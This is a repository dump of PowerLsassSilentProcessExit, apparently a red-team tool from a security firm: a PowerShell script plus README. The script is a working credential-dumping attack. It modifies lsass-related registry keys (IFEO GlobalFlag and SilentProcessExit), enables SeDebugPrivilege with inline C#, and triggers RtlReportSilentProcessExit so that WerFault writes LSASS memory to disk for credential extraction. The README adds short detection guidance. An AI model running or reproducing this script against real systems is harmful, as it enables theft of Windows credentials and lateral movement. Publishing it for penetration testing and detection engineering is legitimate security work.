├── PowerLsassSilentProcessExit.ps1 ├── README.md └── demo.gif /PowerLsassSilentProcessExit.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | PowerShell script to dump lsass.exe process memory to disk for credentials extraction via silent process exit mechanism. 4 | 5 | .DESCRIPTION 6 | 7 | The script causes WerFault.exe to dump lsass.exe process memory to disk for credentials extraction via silent process exit mechanism without crasing lsass.exe. 8 | This technique is adapted from: https://github.com/deepinstinct/LsassSilentProcessExit 9 | 10 | 11 | Authors: Ville Koch, Sylvain Heiniger, Compass Security Switzerland AG, https://www.compass-security.com/ 12 | Version: v1.0 (01.07.2021) 13 | 14 | .LINK 15 | https://github.com/CompassSecurity/PowerLsassSilentProcessExit 16 | 17 | .PARAMETER DumpMode 18 | 0 - Call RtlSilentProcessExit on LSASS process handle 19 | 1 - Call CreateRemoteThread on RtlSilentProcessExit on LSASS (Note, that this doesnt work in the current version...) 20 | 21 | .PARAMETER DumpPath 22 | Path where the dumpfile shall be stored 23 | 24 | .EXAMPLE 25 | PowerLsassSilentProcessExit.ps1 -DumpMode 0 -DumpPath C:\temp 26 | 27 | #> 28 | param([Parameter(Mandatory)][ValidateSet(0,1)][int]$DumpMode, [Parameter(Mandatory)][System.IO.FileInfo]$DumpPath) 29 | 30 | # Define required registry keys 31 | $paths = @( 32 | @{Path="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"; Name="lsass.exe"; Keys=@( 33 | @{Name="GlobalFlag"; Value=512; Type="Dword"} 34 | );}; 35 | @{Path="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"; Name="SilentProcessExit"; Keys=@();}; 36 | @{Path="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit"; Name="lsass.exe"; Keys=@( 37 | @{Name="ReportingMode"; Value=2; Type="Dword"}; 38 | @{Name="LocalDumpFolder"; Value="$DumpPath"; Type="String"}; 39 | @{Name="DumpType"; Value=2; Type="Dword"} 40 | );} 41 | ) 42 | 43 | 44 | # Backup the registry keys and set the keys and values we need 45 | try{ 46 | Foreach ($path in $paths) { 47 | $FullPath = "$($path.Path)"+"\"+"$($path.name)" 48 | $Path.Exists = Test-Path $FullPath 49 | if ($Path.Exists -eq $False) { 50 | New-Item -Path $path.Path -Name $path.Name | Out-Null 51 | } 52 | Foreach ($key in $path.Keys) { 53 | $key.OldValue = Get-ItemProperty -Path $FullPath -Name $key.Name -ErrorAction SilentlyContinue 54 | if ($key.OldValue -eq $null) { 55 | New-ItemProperty -Path $FullPath -Name $key.Name -Value $key.Value -PropertyType $key.Type | Out-Null 56 | } else { 57 | $key.OldValue = $key.OldValue | select -ExpandProperty $key.Name 58 | Set-ItemProperty -Path $FullPath -Name $key.Name -Value $key.Value -Type $key.Type | Out-Null 59 | } 60 | } 61 | } 62 | }catch{ 63 | Write-Warning "[WARN] Error happened during backup of registry keys! Error:`r`n" 64 | Write-Host $PSItem.Tostring() 65 | Exit 1 66 | } 67 | 68 | # Enable SeDebugPrivilege 69 | ## All Credit goes to Lee Holmes (@Lee_Holmes) 70 | $definition = @' 71 | using System; 72 | using System.Collections.Generic; 73 | using System.Diagnostics; 74 | using System.Linq; 75 | using System.Runtime.InteropServices; 76 | namespace Set_TokenPermission 77 | { 78 | public class SetTokenPriv 79 | { 80 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 81 | internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, 82 | ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); 83 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 84 | internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); 85 | [DllImport("advapi32.dll", SetLastError = true)] 86 | internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); 87 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 88 | internal struct TokPriv1Luid 89 | { 90 | public int Count; 91 | public long Luid; 92 | public int Attr; 93 | } 94 | internal const int SE_PRIVILEGE_ENABLED = 0x00000002; 95 | internal const int SE_PRIVILEGE_DISABLED = 0x00000000; 96 | internal const int TOKEN_QUERY = 0x00000008; 97 | internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; 98 | public static void EnablePrivilege() 99 | { 100 | bool retVal; 101 | TokPriv1Luid tp; 102 | IntPtr hproc = new IntPtr(); 103 | hproc = Process.GetCurrentProcess().Handle; 104 | IntPtr htok = IntPtr.Zero; 105 | string priv = "SeDebugPrivilege"; 106 | 107 | retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); 108 | tp.Count = 1; 109 | tp.Luid = 0; 110 | tp.Attr = SE_PRIVILEGE_ENABLED; 111 | retVal = LookupPrivilegeValue(null, priv, ref tp.Luid); 112 | retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); 113 | 114 | } 115 | } 116 | } 117 | '@ 118 | $type = Add-Type $definition -PassThru 119 | $type[0]::EnablePrivilege() 2>&1 120 | 121 | # Importing the DLLs and adding definitions... 122 | try{ 123 | $NtdllDefinition = @" 124 | [DllImport("ntdll.dll", SetLastError=true)]public static extern uint RtlReportSilentProcessExit(IntPtr dwProcessHandle, uint dwExitStatus); 125 | "@ 126 | 127 | $Ntdll = Add-Type -MemberDefinition $NtdllDefinition -Name 'Ntdll' -Namespace 'Win32' -PassThru 128 | 129 | 130 | $Kernel32Definition = @" 131 | [DllImport("kernel32.dll")]public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); 132 | [DllImport("kernel32.dll")]public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); 133 | [DllImport("kernel32.dll")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 134 | [DllImport("kernel32.dll")]public static extern IntPtr GetModuleHandle(string lpModuleName); 135 | "@ 136 | 137 | $Kernel32 = Add-Type -MemberDefinition $Kernel32Definition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; 138 | 139 | 140 | $PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000 141 | $PROCESS_VM_READ = 0x00000010 142 | $lsassId = (Get-Process -Name "lsass").Id 143 | $lsassHandle = $Kernel32::OpenProcess($PROCESS_QUERY_LIMITED_INFORMATION+$PROCESS_VM_READ, $False, $lsassId) 144 | 145 | if(($lsassHandle -eq -1) -or ($success -eq 0)){ 146 | $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 147 | throw "ERROR OpenProcess() failed with error: $LastError" 148 | } 149 | }catch{ 150 | Write-Warning "[WARN] Error happened during DLL import! Error:`r`n" 151 | Write-Host $PSItem.Tostring() 152 | Exit 1 153 | } 154 | 155 | # Dump LSASS 156 | if($DumpMode -eq 0){ 157 | try{ 158 | $Ntdll::RtlReportSilentProcessExit($lsassHandle, 0) | out-null; 159 | }catch{ 160 | Write-Warning "[WARN] Error happened during DumpMode 0! Error:`r`n" 161 | Exit 1 162 | } 163 | }elseif($DumpMode -eq 1){ 164 | try{ 165 | ##################################### 166 | #### DOES CURRENTLY NOT WORK! ####### 167 | ##################################### 168 | Write-Warning "Please note, that this DumpMode doesn't work currently..." 169 | $NtdllHandle = [Win32.Kernel32]::GetModuleHandle('ntdll.dll'); 170 | [IntPtr]$RtlReportSilentProcessExitAddress = [Win32.Kernel32]::GetProcAddress($NtdllHandle, "RtlReportSilentProcessExit"); 171 | $Success = $Kernel32::CreateRemoteThread($lsassHandle, [IntPtr]0, [UInt32]0, $RtlReportSilentProcessExitAddress, [IntPtr]::Zero, [UInt32]4, [ref]0); 172 | if(($Success -eq $null) -or ($success -eq 0)){ 173 | $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 174 | throw "ERROR CreateRemoteThread() failed with error: $LastError" 175 | } 176 | }catch{ 177 | Write-Warning "[WARN] Error happened during DumpMode 1! Error:`r`n" 178 | Write-Host $PSItem.Tostring() 179 | Exit 1 180 | } 181 | 182 | }else{ 183 | Write-Warning "Should not end up here, DumpMode parameter validation failed..." 184 | } 185 | 186 | # Cleanup registry 187 | try{ 188 | Foreach ($path in $paths) { 189 | $FullPath = "$($path.Path)"+"\"+"$($path.name)" 190 | if ($Path.Exists -eq $False) { 191 | Remove-Item -Path $FullPath -Force -Recurse -ErrorAction SilentlyContinue 192 | } else { 193 | Foreach ($key in $path.Keys) { 194 | if ($key.OldValue -ne $null) { 195 | Set-ItemProperty -Path $FullPath -Name $key.Name -Value $key.OldValue -Type $key.Type 196 | } else { 197 | Remove-ItemProperty -Path $FullPath -Name $key.Name -Force -ErrorAction SilentlyContinue 198 | } 199 | } 200 | } 201 | } 202 | }catch{ 203 | Write-Warning "[WARN] Error happened during Cleanup of Registry! Error:`r`n" 204 | Write-Host $PSItem.Tostring() 205 | Exit 1 206 | } 207 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerLsassSilentProcessExit 2 | 3 | PowerShell script to dump lsass.exe process memory to disk for credentials extraction via silent process exit mechanism. 4 | 5 | ## Description 6 | 7 | The script causes WerFault.exe to dump lsass.exe process memory to disk for credentials extraction via silent process exit mechanism without crasing lsass.exe. This technique is adapted from: https://github.com/deepinstinct/LsassSilentProcessExit 8 | 9 | ## Parameters 10 | 11 | ### DumpMode 12 | 13 | - 0 - Call RtlSilentProcessExit on LSASS process handle 14 | - 1 - Call CreateRemoteThread with RtlSilentProcessExit on LSASS 15 | 16 | ### DumpPath 17 | - Path where the dumpfile shall be stored 18 | 19 | ## Demo 20 | 21 | The following demo shows the dumping: 22 | 23 | ![Demo](demo.gif) 24 | 25 | ## Known Issue 26 | 27 | At the time of writing, we could not get the DumpMode 1 (using CreateRemoteThread) to work. 28 | 29 | The powershell.exe process gets dumped along with lsass using the DumpMode 0, hence any pointers to get the other method working is welcome! 30 | 31 | ## Monitoring Guidance 32 | 33 | The [original article](https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/) provides some pointers on how to detect this technique. From our point of view, the following two techniques are best to detect our script being run: 34 | 35 | ### Monitoring Registry 36 | 37 | Monitor the following keys for creation and modification: 38 | 39 | ``` 40 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe 41 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe 42 | ``` 43 | 44 | ### Monitoring PowerShell 45 | 46 | The following article is a good resource: https://devblogs.microsoft.com/powershell/powershell-the-blue-team/ 47 | 48 | ## Authors 49 | 50 | - Ville Koch ([Twitter](https://twitter.com/vegvisir87)) 51 | - Sylvain Heiniger ([Twitter](https://twitter.com/sploutchy)) 52 | -------------------------------------------------------------------------------- /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CompassSecurity/PowerLsassSilentProcessExit/96884a069d3449892099211520ee2413f0b3d8f1/demo.gif --------------------------------------------------------------------------------